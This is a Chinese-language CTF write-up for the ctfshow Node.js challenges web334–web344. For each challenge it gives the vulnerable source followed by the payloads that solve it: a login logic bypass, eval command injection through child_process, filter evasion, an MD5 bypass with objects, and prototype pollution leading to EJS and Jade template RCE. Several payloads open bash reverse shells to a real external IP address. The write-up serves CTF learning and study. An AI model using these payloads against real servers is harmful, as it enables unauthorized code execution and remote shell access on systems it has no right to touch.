web334(toUpperCase)

1
2
3
4
5
6
#user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;

var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);

if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}

});

module.exports = router;

存在逻辑漏洞

1
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

用小写用户名登陆

1
2
ctfshow
123456

web335(child_process)

查看源代码

1
<!-- /?eval= -->

eval在nodejs中也是可以将参数当作nodejs代码执行的,和php类似

1
eval(console.log(require("child_process").execSync("whoami").toString()));

payload

1
?eval=require("child_process").execSync("cat f*").toString()

web336(exec过滤)

和上题基本类似,只是过滤了’exec’;

可以用+拼接绕过

1
?eval=require("child_process")['exe'%2B'cSync']('ls').toString()

或者用spawnSync

1
?eval=require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()

web337(md5绕过)

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

上面是对象,下面是数组;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
let a = {'x':1}
let b = {'x':2}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

a = [1]
b = [2]

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

var a =[1]
console.log(a)
console.log(typeof a); //object

payload,更准确的来讲是用对象绕过md5

1
?a[c]=2&b[c]=3

web338(pollution)

考的原型链污染,可以看我这篇博客,

https://zixyd.github.io/2024/01/31/%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

其中utils.copy,就是一个原型链污染漏洞利用点

1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

web339(RCE)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#login.js
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});
1
2
3
4
5
6
#api.js
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});

});

由于我们并不知道flag的值,无法通过res.end(flag);来获取flag,只能通过api中的{ query: Function(query)(query)}来rce获取flag;

这种形式,只要query的值可以控制,那么就可以命令执行,query的值可以通过copy函数原型链污染控制

Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。

1
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/81.71.13.76/5557 0>&1\"')"}}

下面这个payload是ejs低版本存在漏洞

https://blog.csdn.net/lastwinn/article/details/128914419

1
2
3
4
5
6
7
{
"constructor": {
"prototype": {
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/81.71.13.76/5557 0>&1\"');var __tmp2"
}
}
}

web340(rce)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#login.js
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

和上一题类似,user.userinfo的上一级是user,user的上一级才是原生;只需要污染两级

1
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"')"}}}

web341(ejs)

从上一题的基础上少了api文件,那么只能用ejs的payload去打

1
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/81.71.13.76/5555 0>&1\"');var __tmp2"}}}

web342-343(jade)

和上一题类似,只不过渲染引擎换成了jade

1
app.engine('jade', require('jade').__express); 

https://www.anquanke.com/post/id/236354#h2-3

payload

1
2
3
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/81.71.13.76/5556 0>&1\"');//"}}}

{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx/6666 0>&1\"')"}}}

web344(,)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

本来是

1
?query={"name":"admin","password":"ctfshow","isVIP":true}

但是题目过滤了逗号

1
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式。